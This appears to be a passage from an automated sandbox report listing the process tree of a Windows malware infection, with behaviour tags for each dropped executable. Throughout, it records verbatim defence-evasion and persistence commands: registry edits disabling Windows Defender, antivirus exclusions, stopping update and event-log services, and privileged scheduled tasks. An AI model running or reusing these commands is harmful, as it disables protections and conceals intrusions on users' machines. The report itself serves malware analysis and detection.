C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --headless --disable-gpu5⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" --headless --incognito5⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --headless --disable-gpu5⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --headless --disable-gpu5⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --headless --incognito5⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" --headless --disable-gpu5⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --headless --disable-gpu5⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\a.exe"C:\Users\Admin\AppData\Local\Temp\Files\a.exe"3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
-
-
C:\Users\Admin\AppData\Local\Temp\Files\darts-wled.exe"C:\Users\Admin\AppData\Local\Temp\Files\darts-wled.exe"3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\Files\darts-wled.exe"C:\Users\Admin\AppData\Local\Temp\Files\darts-wled.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\Rsvp_invite%23903388.exe"C:\Users\Admin\AppData\Local\Temp\Files\Rsvp_invite%23903388.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\CentraStage\Gui.exe"C:\Program Files (x86)\CentraStage\Gui.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\PROGRA~2\CENTRA~1\Gui.exe"5⤵
-
C:\PROGRA~2\CENTRA~1\Gui.exeC:\PROGRA~2\CENTRA~1\Gui.exe6⤵
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\M64.exe"C:\Users\Admin\AppData\Local\Temp\Files\M64.exe"3⤵
- Executes dropped EXE
- Drops file in Windows directory
- Suspicious use of SetWindowsHookEx
-
-
C:\Users\Admin\AppData\Local\Temp\Files\LukeJazz.exe"C:\Users\Admin\AppData\Local\Temp\Files\LukeJazz.exe"3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /k copy Decide Decide.cmd & Decide.cmd & exit4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\tasklist.exetasklist5⤵
- Enumerates processes with tasklist
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\findstr.exefindstr /I "wrsa.exe opssvc.exe"5⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\tasklist.exetasklist5⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\findstr.exefindstr /I "avastui.exe avgui.exe nswscsvc.exe sophoshealth.exe"5⤵
-
-
C:\Windows\SysWOW64\cmd.execmd /c md 4375705⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\findstr.exefindstr /V "BASEDADVERTISEAFGHANISTANCONTENT" Sacramento5⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cmd.execmd /c copy /b Avi + Hits + Joyce + Desk + Cheers + Cleanup + Generate + Hobbies + Possible + Rover + Notifications + Unique + Helpful + Constantly + Namibia + Revolution + Transfers + Index + Colors 437570\b5⤵
-
-
C:\Users\Admin\AppData\Local\Temp\437570\Ul.pif437570\Ul.pif 437570\b5⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
-
-
C:\Windows\SysWOW64\timeout.exetimeout 55⤵
- Delays execution with timeout.exe
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\pclient.exe"C:\Users\Admin\AppData\Local\Temp\Files\pclient.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\%E6%A2%A6%E5%B9%BB%E9%AD%94%E7%95%8C%E7%94%B5%E8%84%91%E7%AB%AF.exe"C:\Users\Admin\AppData\Local\Temp\Files\%E6%A2%A6%E5%B9%BB%E9%AD%94%E7%95%8C%E7%94%B5%E8%84%91%E7%AB%AF.exe"3⤵
- Executes dropped EXE
- Adds Run key to start application
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\Files\._cache_%E6%A2%A6%E5%B9%BB%E9%AD%94%E7%95%8C%E7%94%B5%E8%84%91%E7%AB%AF.exe"C:\Users\Admin\AppData\Local\Temp\Files\._cache_%E6%A2%A6%E5%B9%BB%E9%AD%94%E7%95%8C%E7%94%B5%E8%84%91%E7%AB%AF.exe"4⤵
- Executes dropped EXE
- Modifies registry class
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\Files\._cache_%E6%A2%A6%E5%B9%BB%E9%AD%94%E7%95%8C%E7%94%B5%E8%84%91%E7%AB%AF.exe"C:\Users\Admin\AppData\Local\Temp\Files\._cache_%E6%A2%A6%E5%B9%BB%E9%AD%94%E7%95%8C%E7%94%B5%E8%84%91%E7%AB%AF.exe" Admin5⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Enumerates connected drives
- System Location Discovery: System Language Discovery
-
-
-
C:\ProgramData\Synaptics\Synaptics.exe"C:\ProgramData\Synaptics\Synaptics.exe" InjUpdate4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\Files\._cache_Synaptics.exe"C:\Users\Admin\AppData\Local\Temp\Files\._cache_Synaptics.exe" InjUpdate5⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\Files\._cache_Synaptics.exe"C:\Users\Admin\AppData\Local\Temp\Files\._cache_Synaptics.exe" Admin6⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Enumerates connected drives
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\setup.exe"C:\Users\Admin\AppData\Local\Temp\Files\setup.exe"3⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\Files\UniversalBrowser.exe"C:\Users\Admin\AppData\Local\Temp\Files\UniversalBrowser.exe"3⤵
- Drops startup file
- Executes dropped EXE
- Adds Run key to start application
-
-
C:\Users\Admin\AppData\Local\Temp\Files\cryptography_module_windows.exe"C:\Users\Admin\AppData\Local\Temp\Files\cryptography_module_windows.exe"3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\Files\cryptography_module_windows.exe"C:\Users\Admin\AppData\Local\Temp\Files\cryptography_module_windows.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\natgo.exe"C:\Users\Admin\AppData\Local\Temp\Files\natgo.exe"3⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
-
C:\Users\Admin\AppData\Local\Temp\Files\svchost.exe"C:\Users\Admin\AppData\Local\Temp\Files\svchost.exe"3⤵
- Executes dropped EXE
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "$77svchost" /tr '"C:\Users\Admin\AppData\Roaming\$77svchost.exe"' & exit4⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵
-
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc onlogon /rl highest /tn "$77svchost" /tr '"C:\Users\Admin\AppData\Roaming\$77svchost.exe"'5⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpFF55.tmp.bat""4⤵
-
C:\Windows\system32\timeout.exetimeout 35⤵
- Delays execution with timeout.exe
-
-
C:\Users\Admin\AppData\Roaming\$77svchost.exe"C:\Users\Admin\AppData\Roaming\$77svchost.exe"5⤵
- Executes dropped EXE
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\offlinepackv4.exe"C:\Users\Admin\AppData\Local\Temp\Files\offlinepackv4.exe"3⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\Files\CritScript.exe"C:\Users\Admin\AppData\Local\Temp\Files\CritScript.exe"3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Local\Temp\JUSCHED.EXE"C:\Users\Admin\AppData\Local\Temp\JUSCHED.EXE"4⤵
- Executes dropped EXE
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "Java Update Scheduler" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\Java\jusched.exe" /rl HIGHEST /f5⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Users\Admin\AppData\Roaming\Java\jusched.exe"C:\Users\Admin\AppData\Roaming\Java\jusched.exe"5⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "Java Update Scheduler" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\Java\jusched.exe" /rl HIGHEST /f6⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\Yellow%20Pages%20Scraper.exe"C:\Users\Admin\AppData\Local\Temp\Files\Yellow%20Pages%20Scraper.exe"3⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\Files\net_launcher.exe"C:\Users\Admin\AppData\Local\Temp\Files\net_launcher.exe"3⤵
- Downloads MZ/PE file
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\Files\CryptoWall.exe"C:\Users\Admin\AppData\Local\Temp\Files\CryptoWall.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: MapViewOfSection
-
C:\Windows\SysWOW64\explorer.exe"C:\Windows\syswow64\explorer.exe"4⤵
- Drops startup file
- Adds Run key to start application
- System Location Discovery: System Language Discovery
- Suspicious behavior: MapViewOfSection
-
C:\Windows\SysWOW64\svchost.exe-k netsvcs5⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\20030520.exe"C:\Users\Admin\AppData\Local\Temp\Files\20030520.exe"3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
-
-
C:\Users\Admin\AppData\Local\Temp\Files\mininewsplus-2.exe"C:\Users\Admin\AppData\Local\Temp\Files\mininewsplus-2.exe"3⤵
- Executes dropped EXE
- Writes to the Master Boot Record (MBR)
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
-
-
C:\Users\Admin\AppData\Local\Temp\Files\AA_v3.exe"C:\Users\Admin\AppData\Local\Temp\Files\AA_v3.exe"3⤵
- Executes dropped EXE
- Writes to the Master Boot Record (MBR)
-
-
C:\Users\Admin\AppData\Local\Temp\Files\AutoUpdate.exe"C:\Users\Admin\AppData\Local\Temp\Files\AutoUpdate.exe"3⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
-
-
C:\Users\Admin\AppData\Local\Temp\Files\PXray_Cast_Sort.exe"C:\Users\Admin\AppData\Local\Temp\Files\PXray_Cast_Sort.exe"3⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\Files\chrome_134.exe"C:\Users\Admin\AppData\Local\Temp\Files\chrome_134.exe"3⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Drops file in Drivers directory
- Checks BIOS information in registry
- Executes dropped EXE
- Checks whether UAC is enabled
- Drops file in System32 directory
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force4⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart4⤵
-
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart5⤵
-
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc4⤵
- Launches sc.exe
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 04⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 04⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 04⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 04⤵
- Power Settings
-
-
C:\Windows\system32\dialer.exeC:\Windows\system32\dialer.exe4⤵
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe delete "GoogleUpdateTaskMachineQC"4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe create "GoogleUpdateTaskMachineQC" binpath= "C:\ProgramData\Google\Chrome\updater.exe" start= "auto"4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop eventlog4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe start "GoogleUpdateTaskMachineQC"4⤵
- Launches sc.exe
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\jeditor.exe"C:\Users\Admin\AppData\Local\Temp\Files\jeditor.exe"3⤵
- Downloads MZ/PE file
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\Files\Service.exe"C:\Users\Admin\AppData\Local\Temp\Files\Service.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\Bexitor%20Installer.exe"C:\Users\Admin\AppData\Local\Temp\Files\Bexitor%20Installer.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\chrome_144.exe"C:\Users\Admin\AppData\Local\Temp\Files\chrome_144.exe"3⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
-
C:\ProgramData\Qiqu\Taje.exe"C:\ProgramData\Qiqu\Taje.exe"4⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Adds Run key to start application
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: GetForegroundWindowSpam
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Roaming\i94tGF\QlbkKkJ\1.bat"5⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\reg.exereg delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f6⤵
-
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "AllowFastServiceStartup" /t REG_DWORD /d "0" /f6⤵
-
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f6⤵
- Modifies Windows Defender DisableAntiSpyware settings
-
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f6⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableLocalAdminMerge" /t REG_DWORD /d "1" /f6⤵
-
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableSpecialRunningModes" /t REG_DWORD /d "1" /f6⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "ServiceKeepAlive" /t REG_DWORD /d "0" /f6⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f6⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f6⤵
- Modifies Windows Defender Real-time Protection settings
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIntrusionPreventionSystem" /t REG_DWORD /d "1" /f6⤵
- Modifies Windows Defender Real-time Protection settings
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f6⤵
- Modifies Windows Defender Real-time Protection settings
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f6⤵
- Modifies Windows Defender Real-time Protection settings
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRawWriteNotification" /t REG_DWORD /d "1" /f6⤵
- Modifies Windows Defender Real-time Protection settings
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f6⤵
- Modifies Windows Defender Real-time Protection settings
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRoutinelyTakingAction" /t REG_DWORD /d "1" /f6⤵
- Modifies Windows Defender Real-time Protection settings
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f6⤵
- Modifies Windows Defender Real-time Protection settings
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "LocalSettingOverrideDisableBehaviorMonitoring" /t REG_DWORD /d "0" /f6⤵
- Modifies Windows Defender Real-time Protection settings
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "LocalSettingOverrideDisableIntrusionPreventionSystem" /t REG_DWORD /d "0" /f6⤵
- Modifies Windows Defender Real-time Protection settings
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "LocalSettingOverrideDisableIOAVProtection" /t REG_DWORD /d "0" /f6⤵
- Modifies Windows Defender Real-time Protection settings
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "LocalSettingOverrideDisableOnAccessProtection" /t REG_DWORD /d "0" /f6⤵
- Modifies Windows Defender Real-time Protection settings
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "LocalSettingOverrideDisableRealtimeMonitoring" /t REG_DWORD /d "0" /f6⤵
- Modifies Windows Defender Real-time Protection settings
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "LocalSettingOverrideRealtimeScanDirection" /t REG_DWORD /d "0" /f6⤵
- Modifies Windows Defender Real-time Protection settings
-
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f6⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f6⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f6⤵
-
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "2" /f6⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f6⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f6⤵
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable6⤵
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable6⤵
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable6⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable6⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable6⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\reg.exereg delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f6⤵
-
-
C:\Windows\SysWOW64\reg.exereg delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f6⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\reg.exereg delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f6⤵
-
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\System\CurrentControlSet\Services\MDCoreSvc" /v "Start" /t REG_DWORD /d "4" /f6⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f6⤵
- Modifies Security services
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f6⤵
- Modifies Security services
-
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f6⤵
- Modifies Security services
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f6⤵
- Modifies security service
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\reg.exereg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "SecurityHealth" /f6⤵
-
-
C:\Windows\SysWOW64\reg.exereg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "SecurityHealth" /f6⤵
-
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Microsoft\Windows Defender Security Center\Notifications" /v "DisableNotifications" /t REG_DWORD /d "1" /f6⤵
-
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender Security Center\Notifications" /v "DisableEnhancedNotifications " /t REG_DWORD /d "1" /f6⤵
-
-
C:\Windows\SysWOW64\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Notifications\Settings\Windows.SystemToast.SecurityAndMaintenance" /v "Enabled" /t REG_DWORD /d "0" /f6⤵
-
-
-
C:\Users\Admin\AppData\Local\MDibQwNA\gi82pGHJ0\chrome_144.exe"C:\Users\Admin\AppData\Local\MDibQwNA\gi82pGHJ0\chrome_144.exe"5⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force6⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart6⤵
-
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart7⤵
-
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc6⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc6⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv6⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits6⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc6⤵
- Launches sc.exe
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 06⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 06⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 06⤵
- Power Settings
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV17⤵
-
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 06⤵
- Power Settings
-
-
C:\Windows\system32\dialer.exeC:\Windows\system32\dialer.exe6⤵
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop eventlog6⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe start "GoogleUpdateTaskMachineQC"6⤵
- Launches sc.exe
-
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"5⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"5⤵
-
-
-
-
